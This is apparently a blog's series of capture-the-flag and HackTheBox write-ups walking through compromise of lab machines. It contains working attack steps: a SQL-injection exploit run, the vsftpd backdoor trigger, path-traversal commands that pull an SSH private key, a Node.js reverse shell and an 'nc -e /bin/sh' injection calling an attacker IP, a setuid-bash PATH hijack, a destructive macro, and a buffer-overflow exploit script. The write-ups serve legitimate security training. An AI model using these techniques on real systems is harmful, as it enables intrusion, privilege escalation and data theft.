HackTheBox – Writeup

The initial nmap scan only revealed open ports tcp/22 and tcp/80 but otherwise nothing interesting. The website also didn’t have any features, just static text:

However it did warn us that some sort of DoS protection was active and indeed, sending a few requests to non existing pages gets our IP banned for a couple of minutes.

After a bit I tried to request /robots.txt and that gives this back:

# curl
#              __
#      _(\    |@@|
#     (__/\__ \--/ __
#        \___|----|  |   __
#            \ }{ /\ )_ / _\
#            /\__/\ \__O (__
#           (--/\--)    \__/
#           _)(  )(_
#          `---''---`

# Disallow access to the blog until content is finished.
User-agent: * 
Disallow: /writeup/

The /writeup/ page itself again is not very interesting, but the source code of each page reveals the CMS software used:

# curl -s |head -n 7
<!doctype html>
<html lang="en_US"><head>
	<title>Home - writeup</title>
<base href="" />
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

There is a known vulnerability for this software with a public exploit (https://www.exploit-db.com/exploits/46635). It is using a blind SQL injection to fetch the password hash and salt. Running this exploit gives us a username and password:

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

With those credentials we can use SSH and login to the server.

Getting root took a bit of time, I’ve enumerated the system and used pspy to figure out changes to the system but still couldn’t figure it out. There was a cronjob running via /root/bin/cleanup.pl but it appeared not possible to exploit that.

But the cronjob seemed to be centered around /usr/local/bin and /usr/local/sbin. The permissions of that folder were strange and non-default. I could write files to it but not list them. And the cronjob probably removed them.

I put most attention now on the fail2ban script which ran iptables to ban and unban IPs but I couldn’t make it work, it wouldn’t run my placed /usr/local/sbin/iptables file.

When I logged in with a second session I saw the following on pspy output:

2019/06/10 08:17:21 CMD: UID=0    PID=2948   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2019/06/10 08:17:21 FS:               ACCESS | /var/log/auth.log
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /var/log/auth.log
2019/06/10 08:17:21 FS:                 OPEN | /etc/passwd
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /etc/passwd
2019/06/10 08:17:21 FS:                 OPEN | /etc/passwd
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /etc/passwd
2019/06/10 08:17:21 FS:                 OPEN | /etc/ld.so.cache
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /etc/ld.so.cache
2019/06/10 08:17:21 FS:                 OPEN | /usr/bin/env
2019/06/10 08:17:21 FS:               ACCESS | /usr/bin/env
2019/06/10 08:17:21 CMD: UID=0    PID=2949   | run-parts --lsbsysinit /etc/update-motd.d 

That sounded exactly like what I needed! On every login on the server the system executes run-parts. And it specifically sets a $PATH variable where the first entry is writeable to us.

I’ve decided to try to get a local root shell without needing a reverse shell. I’ve created the following run-parts file in /tmp/faker/:


/bin/cp /bin/bash /tmp/faker/bash
/bin/chown root:root /tmp/faker/bash
/bin/chmod +s /tmp/faker/bash

Basically, it copies /bin/bash, makes sure it is root owned and adds the setuid bit.
Afterwards just copy the run-parts script to /usr/local/sbin and ssh to the server again. We now got a root shell by executing /tmp/faker/bash -p:

$ cp /tmp/faker/run-parts /usr/local/sbin/
$ ssh jkr@
$ cd /tmp/faker
$ ls -l
total 5452
-rwsr-sr-x 1 root root 1099016 Jun 10 07:58 bash
-rwxr-xr-x 1 jkr  jkr  4468984 Jun 10 07:59 pspy64
-rwxr-xr-x 1 jkr  jkr       79 Jun 10 08:21 run-parts
$ ./bash -p     
bash-4.4# cat /root/root.txt 

HackTheBox – Luke

The initial nmap scan revealed a bunch of open ports:

# nmap
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-20 06:43 EDT
Nmap scan report for
Host is up (0.022s latency).
Not shown: 995 closed ports
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
8000/tcp open  http-alt

The FTP server on port tcp/21 allows anonymous connections. There is only one file on it:

# cat for_Chihiro.txt 
Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! 


The web application on port tcp/80 appears to be a very simple static page without much functionality.
Port tcp/3000 looks like some sort of API that requires authentication.
And tcp/8000 is running Ajenti, a server administration panel which also requires credentials.

Using dirbuster on port tcp/80 the following paths are found (among others):


The /management folder requires credentials that we do not have yet. With the hint from the file from the FTP server we notice that it’s possible to see the source code by requesting the file with the phps extension. At the very top, login.php references config.php:

And config.php reveals the password for a MySQL database:

Using dirbuster on port tcp/3000 the following paths are found (among others):


Requesting / tells us that a token is required:

# curl
{"success":false,"message":"Auth token is not supplied"}

Since there is a /login endpoint we try to send data to it. Trying to send broken JSON to it reveals an error message:

# curl '' -X POST -d '{ x }' -H "Content-Type: application/json"
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">

<pre>SyntaxError: Unexpected token x in JSON at position 2
 &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)
 &nbsp; &nbsp;at parse (/nodeapp/node_modules/body-parser/lib/types/json.js:89:19)
 &nbsp; &nbsp;at /nodeapp/node_modules/body-parser/lib/read.js:121:18
 &nbsp; &nbsp;at invokeCallback (/nodeapp/node_modules/raw-body/index.js:224:16)
 &nbsp; &nbsp;at done (/nodeapp/node_modules/raw-body/index.js:213:7)
 &nbsp; &nbsp;at IncomingMessage.onEnd (/nodeapp/node_modules/raw-body/index.js:273:7)
 &nbsp; &nbsp;at IncomingMessage.emit (events.js:202:15)
 &nbsp; &nbsp;at endReadableNT (_stream_readable.js:1132:12)
 &nbsp; &nbsp;at processTicksAndRejections (internal/process/next_tick.js:76:17)</pre>


That means that it probably expects JSON. Simply by guessing we try the password extracted from config.php and the username admin from the /users/admin endpoint:

# curl '' -X POST -d '{ "username": "admin", "password": "Zk6heYCyv6ZE9Xcg"}' -H "Content-Type: application/json"
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI4MTE0LCJleHAiOjE1NjExMTQ1MTR9.e3YkeFLe6xwmsUyZMXC_bMRTjEDNt7fTR9mZTlMg5Dk"}

This returns a token, with that we can request /users which reveals a list of users:

# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
    "ID": "1",
    "name": "Admin",
    "Role": "Superuser"
    "ID": "2",
    "name": "Derry",
    "Role": "Web Admin"
    "ID": "3",
    "name": "Yuri",
    "Role": "Beta Tester"
    "ID": "4",
    "name": "Dory",
    "Role": "Supporter"

And now we can request details of each user which reveals a password for every account:

# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
  "name": "Admin",
  "password": "WX5b7)>/rp$U)FW"
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
  "name": "Derry",
  "password": "rZ86wwLvx7jUxtch"
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
  "name": "Yuri",
  "password": "bet@tester87"
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
  "name": "Dory",
  "password": "5y:!xa=ybfe)/QD"

Trying those accounts on the remaining protected areas, we figure out that the Derry account works on the /management folder on port tcp/80. In that folder are 3 files, 2 of which we already know:


Requesting config.json reveals some Ajenti configuration:

# curl 'http://Derry:rZ86wwLvx7jUxtch@'
    "users": {
        "root": {
            "configs": {
                "ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
                "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
                "ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
                "ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
                "ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
                "ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
                "ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
                "ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
                "ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
                "ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}", 
                "ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
                "ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
                "ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
                "ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
                "ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
            "password": "KpMasng6S5EtTy9Z", 
            "permissions": []
    "language": "", 
    "bind": {
        "host": "", 
        "port": 8000
    "enable_feedback": true, 
    "ssl": {
        "enable": false, 
        "certificate_path": ""
    "authentication": true, 
    "installation_id": 12354

And among that also a new password. With this password and the username root we can now finally login at port tcp/8000:

That system helpfully contains a “Terminal” feature. Creating a new session for it, creates a shell in our browser with root privileges. With that we can get both flags:

HackTheBox – LaCasaDePapel

LaCasaDePapel – an easy box mostly related to web technologies.

First a nmap scan of the target:

# nmap -A
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-09 02:27 EDT
Nmap scan report for
Host is up (0.083s latency).
Not shown: 996 closed ports
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
| tls-alpn: 
|_  http/1.1

The website on either port 80 nor 443 presented us with anything useful.
80 allowed us to register an account but the confirmation email was not sent and port 443 expected a client certificate.

Instead vsftpd is interesting, there is a known backdoor for that version. There are existing exploits released for this but the last step always failed so I did this manually:

# telnet 21
Connected to
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER letmein:)
331 Please specify the password.
PASS please

After that we can connect to the backdoor on port 6200. But we are not granted a normal shell, instead it’s a “Psy Shell”. It still allows us to read local files, so we get /etc/passwd and it also gave us the CA key required for a client certificate:

# telnet 6200
Connected to
Escape character is '^]'.
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
ls -al

$tokyo Tokyo {#2307}
$_ null

=> """
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\n

show Tokyo
> 2| class Tokyo {
3| private function sign($caCert,$userCsr) {
4| $caKey = file_get_contents('/home/nairobi/ca.key');
5| $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
6| openssl_x509_export($userCert, $userCertOut);
7| return $userCertOut;
8| }
9| }

=> """
-----END PRIVATE KEY-----\n

Now we can sign our own client certificate. First we need to download the CA certificate, you can use Firefox to export it or simply run:

# openssl s_client -showcerts -connect </dev/null

Next we’ll create our own private key and sign it with the leaked CA:

# openssl genrsa -out zertifikat-key.pem 4096
# openssl req -new -key zertifikat-key.pem -out zertifikat.csr -sha512
# openssl x509 -req -in zertifikat.csr -CA lacasadepapelhtb.crt -CAkey ca.key -CAcreateserial -out zertifikat-pub.pem -days 365 -sha512
# openssl pkcs12 -export -in zertifikat-pub.pem -inkey zertifikat-key.pem -out cert.p12

You can import the cert.p12 file into Firefox and then visit the site:

This portal allows us to download files, looking at the URLs, we see quickly that the last parameter is base64 encoded and contains a trivial LFI:

# curl -k --cacert lacasadepapelhtb.crt --key zertifikat-key.pem --cert zertifikat-pub.pem -I
HTTP/1.1 200 OK
X-Powered-By: Express
Content-disposition: attachment; filename=01.avi
Content-Length: 0
Date: Sun, 09 Jun 2019 06:45:27 GMT
Connection: keep-alive

# echo "U0VBU09OLTEvMDEuYXZp" |base64 -d
# curl -k --cacert lacasadepapelhtb.crt --key zertifikat-key.pem --cert zertifikat-pub.pem`echo "$(echo -n "../../../../../../etc/hosts" | base64)"`	lacasadepapel	localhost localhost.localdomain
::1		localhost localhost.localdomain

After some more enumeration we get the SSH private key of the user “berlin” and use it to login as the user “professor”:

# curl -k --cacert lacasadepapelhtb.crt --key zertifikat-key.pem --cert zertifikat-pub.pem`echo "$(echo -n "../.ssh/id_rsa" | base64)"` -o id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3389  100  3389    0     0   3825      0 --:--:-- --:--:-- --:--:--  3820
# chmod 600 id_rsa 
# ssh professor@ -i id_rsa

 _             ____                  ____         ____                  _ 
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|

lacasadepapel [~]$ id
uid=1002(professor) gid=1002(professor) groups=1002(professor)

Now after a while trying to figure out the privilege escalation we’ve noticed that the process ID of “/usr/bin/node /home/professor/memcached.js” keeps changing, so this service is constantly restarted.

And we also have in our home directory the configuration file (“memcached.ini”) and the executed JavaScript file (“memcached.js”) but no permission to write to those files.

As those files are in our home directory and we have write privileges to the folder in which those files are stored, we can simply move them away and create new files. We’ve created “memcached.ini.new” with the content:

command = sudo /usr/bin/node /home/professor/memcached.js

And “memcached.js.new” with the content:

    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.10.x.y", function(){
    return /a/; // Prevents the Node.js application form crashing

Started nc to listen to incoming connections on port tcp/8080:

# nc -vnlp 8080
listening on [any] 8080 ...

And now move the files into the right place:

mv memcached.ini memcached.ini.bak 
mv memcached.ini.new memcached.ini 
mv memcached.js memcached.js.bak
mv memcached.js.new memcached.js

And after a minute or so back at our listener we get a root shell and can finally get the flags:

# nc -vnlp 8080
listening on [any] 8080 ...
connect to [10.10.x.y] from (UNKNOWN) [] 38794
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
cat /home/berlin/user.txt
cat /root/root.txt


WPICTF 2019 – Linux category

We took part in the WPICTF 2019 and made place 28 in the end.
We’ve also solved all 4 Linux challenges, here is a write up for them.


In this challenge we can login via SSH to the provided server and are presented with a non standard shell in which some commands are swapped (ls behaves like sleep, pwd like uname, etc.).
After a bit of trying around we figured out that exec still worked and we can break out of it by running exec /bin/sh.

After that we only had to output the flag without using cat, we’ve used grep for this:

Flag was: WPI{bash_sucks0194342}


Again we get a shell on the target, this time a normal /bin/sh.
After poking around a bit we’ve noticed that /dev/random and /dev/urandom have been replaced on the system.

We decrypt random with urandom as the key and get the flag:

Flag was: WPI{@11_Ur_d3v1c3s_r_b3l0ng_2_us}


This was an interesting challenge, downloading the linked file we got a 3GB virtual machine.
Running it we are presented with an Ubuntu system which only contains an encrypted zip file in our home directory, all other files are gone.

However hidden files are still in the home directory including a .mozilla folder. Opening Firefox and checking the history we see that a coffee-stats-calculator.ods file was recently downloaded.

We download that file again (from: https://gitlab.com/def-not-hack4h/coffee-help/blob/master/coffee-stats-calculator.ods) and check the embedded macros:

Without the line break the full last line is:

'Shell("pwd=$((($(date +%s%N)/1000000)); zip -r --password $pwd your-stuff.zip ~/*; rm Desktop; rm Documents; rm Downloads; rm Music; rm Pictures; rm Public; rm Templates; rm Videos")

The password is based on the time of when that command ran. %s is the normal unix timestamp, %N are nanoseconds (but only 3 digits of those are used).

We can get the time when the file was modified by running stat on it and then we just brute forced the last 5 digits:

With this password we unziped the file, in there was a Flag.xcf file, which contained the flag:

Flag was: WPI{Macros_can_kill}


We again get a shell on a system. The description hints that someone replaced cron.
The biggest problem here was to find the new cron, since there was no find or ps on that system.
But with a bit of /proc parsing we can find it:

The new cron is at /usr/bin/fakecron, it is also just a simple shellscript:

# Cron. But worse.
# Copyright (c) 2019, SuckMore Software, a division of WPI Digital Holdings Ltd.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyrig
#    notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in the
#    documentation and/or other materials provided with the distribution.
# 3. All advertising materials mentioning features or use of this software
#    must display the following acknowledgement:
#    This product includes software developed by SuckMore Software, a division
#    of WPI Digital Holdings Ltd.
# 4. Neither the name of the SuckMore Software, a division of WPI Digital Holdings
#    Ltd, nor the names of its contributors may be used to endorse or promote
#    products derived from this software without specific prior written permission.
# THIS SOFTWARE IS PROVIDED BY SuckMore Software, a division of
# SuckMore Software, a division of WPI Digital Holdings Ltd.


cron() {

    while true; do
        sleep 1;
        target_second=`cut -d " " -f 6 $file`
        target_minute=`cut -d " " -f 5 $file`
        target_hour=`cut -d " " -f 4 $file`
        target_day=`cut -d " " -f 3 $file`
        target_month=`cut -d " " -f 2 $file`
        target_year=`cut -d " " -f 1 $file`

        if [[ "$second" -eq 59 ]]; then
        elif [[ "$minute" -eq 59 ]]; then

        if [[ "$year" -eq "$target_year" ]] \
            && [[ "$month" -eq "$target_month" ]] \
            && [[ "$day" -eq "$target_day" ]] \
            && [[ "$hour" -eq "$target_second" ]] \
            && [[ "$minute" -eq "$target_minute" ]] \
            && [[ "$second" -eq "$target_hour" ]]; then
            # echo "WPI{}" > /home/ctf/flag.txt

        rm /etc/faketimerc
        echo "$year-$month-$day $hour:$minute:$second" > /etc/faketimerc

cron &

The code is pretty simple, it runs an endless loop with a sleep 1 in it.
It always stores its current time in /etc/faketimerc.
It also always reads from /etc/deadline, and if the current time and the time provided in there are equal, then exec_flag is ran which writes the flag into our home.

Update: There is a bug in the fakecron implementation. Seconds maps to hours and hours to seconds. We got lucky with our values and didn’t run into that problem though.

/etc/deadline is world writeable so we simply overwrite it with an upcoming time and wait a bit, then the flag appears in our home:

Flag was: WPI{L1nUxH@ck3r01a4}


MUC:SEC #pwntoberfest 2018

This is a write-up of all challenges of the MUC:SEC #pwntoberfest.
It was a rather small and very beginner friendly CTF that was initially held locally in Munich.
We participated, couldn’t get all flags on the evening but later managed to get all flags.

The CTF was divided into 2 phases, each phase had 3 flags.
Every flag was a number for a physical combination lock.

The challenges were running in a VM on our own laptops, which was great since with that we were able to continue them after the on-site CTF.

Phase 1 – flag 1

Scanning all TCP ports of the machine we find an usual open port: “53815”
Connecting to it and providing any input revealed the first flag:

$ nc 53815

***Welcome to the friendly flag service***
***For authorized users only!***

Phase 1 flag. The first number in the combination is 7.

Phase 1 – flag 2

This one took us a while to figure out.
Running “dirb” against “” (not the added “/api”!) we got a so far unknown endpoint: /api/secret

Simply accessing it revealed this flag:

$ curl
{"user-flag":"Phase 1. Second number in the lock combination is: 6."}

Phase 1 – flag 3

On port 4200 we discovered a web application:

After some trial and error we notice that there is an API that can be used.
And the API has a test interface:

This API Tester form is vulnerable to command injection.
By passing a valid API URL and afterwards a “;” we can inject any command.
We first got all the files in the folder by injecting “;ls” and then got the content of the flag via “;cat flag.txt”:

Phase 2 – flag 1

With the previous vulnerability we created a simply reverse shell by injecting “;nc -e /bin/sh 4444” into the form and starting a local listener via “nc -v -l 4444”.
While exploring the machine we found a running MySQL server.
Trying to connect to it only gave us this output:

yolo@pwntoberfest2018:/opt/pwnterest$ mysql
TERM environment variable not set.
##############                                               #####################
##############                                               #####################
##############                                               #####################
##############            It's a Pwntoberfest curse!         #####################
##############                                               #####################
##############                   Silly, yolo.               #####################
##############                                               #####################
##############         This client has been deativated       #####################
##############              for security purposes!           #####################
##############                                               #####################
##############                No flag for you!               #####################
##############                                               #####################
##############                                               #####################

After a while we figured out that the “/usr/bin/mysql” binary has been replaced with a shell script which displays this warning.
We’ve then uploaded our own mysql client binary and got the flag from the table:

yolo@pwntoberfest2018:/opt/pwnterest$ ./mysql -u root
./mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5
Server version: 5.7.23-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use tooManySecrets;
use tooManySecrets;

Database changed
mysql> show tables ;
show tables ;
| Tables_in_tooManySecrets |
| shhhh |
1 row in set (0.01 sec)

mysql> select * from shhhh;
select * from shhhh;
| flag |
| Phase 2 flag. The first number in the combination is: 9. |
1 row in set (0.00 sec)

Phase 2 – flag 2

When logging in to the web interface from Phase 1 – flag 3, a new menu entry appears: “AdminFlag”
Navigating to it shows only that we are not authorized:

But it also contains to important hints.
First: The admin user has the email address “admin@pwnterest.yolo”.
And second: It shows contents extracted from the JWT used for authentication.

We aren’t sure if we’ve done this challenge correctly, our goal was to forge a token for the admin user. Probably brute forcing the secret would have worked as well.
We’ve used the previous command injection vulnerability again to get a reverse shell to the system by injecting “;nc -e /bin/sh 4444” into the form.

In the file “backend/routes/user.js” we found the function which is used to sign the JWT including the secret:

     const token = jwt.sign(
       { email: req.body.email, iat: 2147483647 },

With this we can now simply forge our own JWT including the admin email address:

Now using this token to resend the request to “/adminflag” we now get this response:

Note that the flag says it’s the 3rd number of the combination. The next flag also says this, there was a typo in one of them. Ranked on difficulty we guess that this is the 2nd number.

Phase 2 – flag 3

The last flag was a binary challenge on which we spent most time.
During the initial recon we found a TODO list at “”, this included an entry about “Develop beeroverflow”.
It also included a link to the binary. We found that the binary is running on port 1337 on the VM:

Loading the binary in Hopper we find that the interesting function is takeOrder():

int takeOrder() {
    var_C = 0x1337;
    eax = strstr(&var_4C, 0x804a008);
    esp = ((esp - 0x10) + 0x10 - 0x10) + 0x10;
    if (eax == 0x0) {
            puts("\nNo beer, no hack!");
            eax = exit(0x0);
    else {
            if (var_C != 0x1337) {
                    puts("\nAttack detected, no beer for you!");
                    eax = exit(0x0);
    return eax;

In the binary there is also the function debugShell() which is not called:

int debugShell() {
    puts("\nYou found the secret beer tap. Take as you wish!");
    eax = system("/bin/sh");
    return eax;

In takeOrder() there is a simple buffer overflow, the input we provide is not size restricted.

Our input is first compared if it contains the string “beer”.
If yes, then it will be checked if var_C != 0x1337, this is obviously always false, since var_C gets set to 0x1337 at the beginning.
However when we overwrite data in memory we need to ensure to not break this if statement.

We want to redirect the program flow so that the debugShell() function is executed.
We try to do this by overwriting EBP with the address of debugShell() so when takeOrder() finishes, the program does not return to main() but rather runs debugShell().

The hardest part here is to figure out the offsets and padding since we were very inexperienced in that.

But after a while with msf-pattern_create as well as trail and error while being attached with gdb we got it. This led to this exploit:

from pwn import *

context.log_level = 'DEBUG'

# start with "beer" to pass first check, add padding
payload = 'beerAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5AAAAAAAAAAAA'
# write value 0x1337 to correct position to pass second check
payload += "\x37" + "\x13" + "\x00" + "\x00"
# add more padding
payload += 'AAAAAAAAAAAA'
# add 0x0804933a (address of debugShell())
payload += "\x3a" + "\x93" + "\x04" + "\x08"

r = remote("", 1337)
r.recvuntil('Please place your order:')

And finally running the exploit we can get the flag from “/opt/beeroverflow/flag.txt”:


This was a great CTF for us, in the past we mostly focused on web challenges since binary challenges at CTFs were not exactly beginner friendly.
This helped us tremendously to start our journey to more advanced binary or pwn challenges.

We actually managed to be the first ones to solve all challenges and got some goodies from the MUC:SEC organizers:

A big thanks to the organizers! It really was a great CTF!

hxp CTF 2018 – time for h4x0rpsch0rr?

Under the provided URL a website was only displaying this:

There was also a link to an admin panel which required username, password and a one-time password:

The main page contains one interesting bit in the page source:

There is a MQTT service running on port 60805 via web socket which provides data to the website.
You can connect to this service with you own client and subscribe to topics.
We start by subscribing to the topic “#” which is a wildcard for any topic.
Our client:


import sys
import paho.mqtt.client as mqtt

def on_message(mqttc, obj, msg):
    print(msg.topic+" "+str(msg.qos))

mqttc = mqtt.Client(transport='websockets')
mqttc.on_message = on_message

mqttc.connect("", 60805, 60)
mqttc.subscribe("#", 0)

However we only get the following back:

# python client.py 
hxp.io/temperature/Munich 0 
hxp.io/temperature/Munich 0 
hxp.io/temperature/Munich 0 

Next we subscribe to “$SYS/#”. Topics beginning with “$” are hidden so our wildcard before didn’t catch that. “$SYS” is a default topic which should give us some internal information of the service.

# python client.py 
$SYS/broker/version 0
mosquitto version 1.4.10
$SYS/broker/timestamp 0
Wed, 17 Oct 2018 19:03:03 +0200
$SYS/broker/uptime 0
167167 seconds
$SYS/broker/clients/total 0
$SYS/broker/clients/inactive 0
$SYS/broker/clients/disconnected 0
$SYS/broker/clients/active 0
$SYS/broker/clients/connected 0
$SYS/broker/clients/expired 0
$SYS/broker/clients/maximum 0
$SYS/broker/messages/stored 0
$SYS/broker/messages/received 0
$SYS/broker/messages/sent 0
$SYS/broker/subscriptions/count 0
$SYS/broker/retained messages/count 0
$SYS/broker/heap/current 0
$SYS/broker/heap/maximum 0
$SYS/broker/publish/messages/dropped 0
$SYS/broker/publish/messages/received 0
$SYS/broker/publish/messages/sent 0
$SYS/broker/publish/bytes/received 0
$SYS/broker/publish/bytes/sent 0
$SYS/broker/bytes/received 0
$SYS/broker/bytes/sent 0
$SYS/broker/load/messages/received/1min 0
$SYS/broker/load/messages/received/5min 0
$SYS/broker/load/messages/received/15min 0
$SYS/broker/load/publish/received/1min 0
$SYS/broker/load/publish/received/5min 0
$SYS/broker/load/publish/received/15min 0
$SYS/broker/load/publish/dropped/1min 0
$SYS/broker/load/publish/dropped/5min 0
$SYS/broker/load/publish/dropped/15min 0
$SYS/broker/load/bytes/received/1min 0
$SYS/broker/load/bytes/received/5min 0
$SYS/broker/load/bytes/received/15min 0
$SYS/broker/load/connections/1min 0
$SYS/broker/load/connections/5min 0
$SYS/broker/load/connections/15min 0
$SYS/broker/log/M/subscribe 0
1544348008: # 0 $SYS/#
$SYS/broker/log/M/subscribe 0
1544348009: 4bc81116-f66b-42ad-806c-5133218a95db 0 $internal/admin/webcam
$SYS/broker/log/M/subscribe 0
1544348014: c6883aff-c792-4924-92e8-139563685b11 0 $internal/admin/webcam

Watching the output of this, we see that a lot of clients are subscribing to the topic “$internal/admin/webcam” which sounds very interesting.

However subscribing to that topic does not give us any message, something is missing (Update: Apparently this should have worked, we probably screwed this up by not properly handling binary data in our client at that time).
After a while we notice the first line of output of the “$SYS/#” topic: mosquitto version 1.4.10

